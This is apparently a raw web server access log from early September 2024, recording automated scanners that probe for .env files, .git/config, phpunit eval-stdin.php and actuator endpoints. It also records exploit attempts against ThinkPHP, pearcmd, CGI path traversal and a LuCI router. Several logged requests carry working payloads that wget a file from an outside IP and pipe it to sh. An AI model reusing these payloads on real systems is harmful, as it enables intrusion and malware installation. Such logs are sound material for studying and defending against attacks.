78.153.140.177 - - [01/Sep/2024:18:09:30 +0200] "GET /apps/.env HTTP/1.1" 404 354 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11" 78.153.140.177 - - [01/Sep/2024:18:09:30 +0200] "GET /database/.env HTTP/1.1" 404 358 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 OPR/27.0.1689.69 (Edition Goru)" 78.153.140.177 - - [01/Sep/2024:18:09:30 +0200] "GET /.env.local HTTP/1.1" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18 i686) Opera 6.11 [de]" 78.153.140.177 - - [01/Sep/2024:18:09:30 +0200] "GET /config/.env HTTP/1.1" 404 356 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56" 78.153.140.177 - - [01/Sep/2024:18:09:30 +0200] "GET /vendor/.env HTTP/1.1" 404 356 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4" 78.153.140.177 - - [01/Sep/2024:18:09:31 +0200] "GET /.env.dev HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher" 78.153.140.177 - - [01/Sep/2024:18:09:31 +0200] "GET /blog/.env HTTP/1.1" 404 354 "-" "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; PJ83100/3.18.502.9 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.177 - - [01/Sep/2024:18:09:31 +0200] "GET /cgi-bin/.env HTTP/1.1" 404 357 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E)" 78.153.140.177 - - [01/Sep/2024:18:09:31 +0200] "GET /new/.env HTTP/1.1" 404 353 "-" "Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2" 78.153.140.177 - - [01/Sep/2024:18:09:32 +0200] "GET /old/.env HTTP/1.1" 404 353 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" 78.153.140.177 - - [01/Sep/2024:18:09:32 +0200] "GET /protected/.env HTTP/1.1" 404 359 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)" 78.153.140.177 - - [01/Sep/2024:18:09:32 +0200] "GET /src/.env HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; ASUS Transformer Pad TF700T Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30" 78.153.140.177 - - [01/Sep/2024:18:09:32 +0200] "GET /storage/.env HTTP/1.1" 404 357 "-" "Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; GT-S7560M-parrot Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.177 - - [01/Sep/2024:18:09:32 +0200] "GET /.env.backup HTTP/1.1" 404 356 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; Tablet PC 2.0; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET4.0C)" 78.153.140.177 - - [01/Sep/2024:18:09:32 +0200] "GET /.env.stage HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6" 78.153.140.177 - - [01/Sep/2024:18:09:33 +0200] "GET /app/config/.env HTTP/1.1" 404 360 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)" 78.153.140.177 - - [01/Sep/2024:18:09:33 +0200] "GET /application/.env HTTP/1.1" 404 361 "-" "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; C5215 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.177 - - [01/Sep/2024:18:09:33 +0200] "GET /.env.live HTTP/1.1" 404 354 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2774.3 Safari/537.36 OPR/40.0.2288.0 (Edition developer)" 78.153.140.177 - - [01/Sep/2024:18:09:33 +0200] "GET /.env.old HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13" 78.153.140.177 - - [01/Sep/2024:18:09:33 +0200] "GET /.env.production.local HTTP/1.1" 404 366 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22" 78.153.140.177 - - [01/Sep/2024:18:09:33 +0200] "GET /.env_1 HTTP/1.1" 404 351 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2" 78.153.140.177 - - [01/Sep/2024:18:09:34 +0200] "GET /script/.env HTTP/1.1" 404 356 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5" 178.211.139.188 - - [01/Sep/2024:18:18:35 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 80.82.77.202 - - [01/Sep/2024:18:29:39 +0200] "\x16\x03\x02\x01o\x01" 400 383 "-" "-" 94.156.68.162 - - [01/Sep/2024:18:35:41 +0200] "GET /.env HTTP/1.1" 404 280 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36" 47.245.122.65 - - [01/Sep/2024:18:47:21 +0200] "GET http://www.1ucn.com/proxychecker/index.php HTTP/1.1" 404 366 "-" "Mozilla/3.0 (Win95; I)" 94.156.68.104 - - [01/Sep/2024:18:49:56 +0200] "GET /.env HTTP/1.1" 404 280 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/605.1.15 Version/12.2.1.0.4" 197.52.200.133 - - [01/Sep/2024:18:58:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.145.165.64/jaws;sh+/tmp/jaws" 400 383 "-" "-" 83.97.73.245 - - [01/Sep/2024:19:07:48 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 47.245.122.65 - - [01/Sep/2024:19:13:19 +0200] "GET http://www.1ucn.com/proxychecker/index.php HTTP/1.1" 404 366 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3" 185.224.128.84 - - [01/Sep/2024:20:15:20 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 83.97.73.245 - - [01/Sep/2024:20:36:55 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 293 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 93.174.93.12 - - [01/Sep/2024:21:07:56 +0200] "GET / HTTP/1.0" 200 423 "-" "Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher" 185.191.126.213 - - [01/Sep/2024:21:35:49 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 205.210.31.36 - - [01/Sep/2024:21:39:15 +0200] "\x16\x03\x01" 400 383 "-" "-" 205.210.31.36 - - [01/Sep/2024:21:39:15 +0200] "\x16\x03\x01" 400 383 "-" "-" 41.190.70.217 - - [01/Sep/2024:21:44:14 +0200] "GET / HTTP/1.1" 200 423 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 185.224.128.59 - - [01/Sep/2024:21:44:16 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 75.119.129.239 - - [01/Sep/2024:22:01:20 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 373 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:20 +0200] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 373 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:20 +0200] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 356 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:21 +0200] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 395 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:21 +0200] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 391 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:22 +0200] "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 387 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:22 +0200] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 383 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:22 +0200] "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 404 390 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:22 +0200] "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 402 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:23 +0200] "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 388 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:23 +0200] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 384 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:24 +0200] "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 380 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:24 +0200] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 376 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:25 +0200] "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 392 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:25 +0200] "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 388 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:25 +0200] "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 384 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:26 +0200] "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 380 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:26 +0200] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:27 +0200] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 403 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:27 +0200] "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:27 +0200] "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 398 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:27 +0200] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:27 +0200] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:28 +0200] "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 401 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:28 +0200] "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 398 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:28 +0200] "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 401 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:29 +0200] "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:29 +0200] "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 403 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:30 +0200] "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:30 +0200] "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:30 +0200] "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:31 +0200] "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:31 +0200] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 401 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:32 +0200] "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 402 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:32 +0200] "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:33 +0200] "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 412 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:33 +0200] "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 401 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:34 +0200] "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 402 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:34 +0200] "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:34 +0200] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:35 +0200] "GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 423 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:35 +0200] "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 361 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:35 +0200] "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php HTTP/1.1" 200 423 "-" "Custom-AsyncHttpClient" 75.119.129.239 - - [01/Sep/2024:22:01:36 +0200] "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" 200 423 "-" "Custom-AsyncHttpClient" 165.154.36.91 - - [01/Sep/2024:22:10:12 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 3.250.94.198 - - [01/Sep/2024:22:38:58 +0200] "GET /.git/config HTTP/1.1" 404 285 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.191.126.213 - - [01/Sep/2024:22:49:50 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 95.214.55.138 - - [01/Sep/2024:23:04:58 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 185.130.44.86 - - [01/Sep/2024:23:12:27 +0200] "GET /env HTTP/1.1" 404 290 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 185.130.44.86 - - [01/Sep/2024:23:12:27 +0200] "GET /actuator/env HTTP/1.1" 404 296 "-" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 185.130.44.86 - - [01/Sep/2024:23:12:27 +0200] "GET /actuator;/env; HTTP/1.1" 404 298 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36" 185.130.44.86 - - [01/Sep/2024:23:12:27 +0200] "GET /message-api/actuator/env HTTP/1.1" 404 305 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 178.211.139.188 - - [01/Sep/2024:23:19:17 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 149.50.103.48 - - [01/Sep/2024:23:23:52 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 61.142.85.157 - - [01/Sep/2024:23:49:46 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 373 "-" "Custom-AsyncHttpClient" 61.142.85.157 - - [01/Sep/2024:23:50:02 +0200] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 373 "-" "Custom-AsyncHttpClient" 61.142.85.157 - - [01/Sep/2024:23:50:02 +0200] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 356 "-" "Custom-AsyncHttpClient" 61.142.85.157 - - [01/Sep/2024:23:50:04 +0200] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 395 "-" "Custom-AsyncHttpClient" 61.142.85.157 - - [01/Sep/2024:23:50:06 +0200] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 391 "-" "Custom-AsyncHttpClient" 185.191.126.213 - - [01/Sep/2024:23:50:53 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 41.233.26.3 - - [01/Sep/2024:23:54:07 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.145.165.64/jaws;sh+/tmp/jaws" 400 383 "-" "-" 91.92.244.64 - - [02/Sep/2024:00:08:40 +0200] "POST /wp-content/plugins/about.php HTTP/1.1" 404 310 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 91.92.244.64 - - [02/Sep/2024:00:08:46 +0200] "GET /wp-content/about.php?key=EnigmaCyberSecurity HTTP/1.1" 404 304 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 91.92.244.64 - - [02/Sep/2024:00:08:53 +0200] "POST /wp.php HTTP/1.1" 404 295 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 91.92.244.64 - - [02/Sep/2024:00:08:57 +0200] "GET /about.php?key=EnigmaCyberSecurity HTTP/1.1" 404 297 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.224.128.84 - - [02/Sep/2024:00:18:45 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 206.189.120.50 - - [02/Sep/2024:01:27:30 +0200] "GET /aaa9 HTTP/1.1" 404 280 "-" "Mozilla/5.0 zgrab/0.x" 206.189.120.50 - - [02/Sep/2024:01:27:34 +0200] "GET /aab8 HTTP/1.1" 404 280 "-" "Mozilla/5.0 zgrab/0.x" 206.189.120.50 - - [02/Sep/2024:01:27:39 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 zgrab/0.x" 185.16.39.118 - - [02/Sep/2024:01:37:55 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 185.191.126.213 - - [02/Sep/2024:01:40:02 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 91.92.249.4 - - [02/Sep/2024:01:49:12 +0200] "GET /.git/config HTTP/1.1" 404 285 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko" 87.236.176.175 - - [02/Sep/2024:01:58:22 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 87.236.176.252 - - [02/Sep/2024:01:58:23 +0200] "GET /activities.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 149.50.103.48 - - [02/Sep/2024:01:59:17 +0200] "GET / HTTP/1.1" 200 423 "-" "-"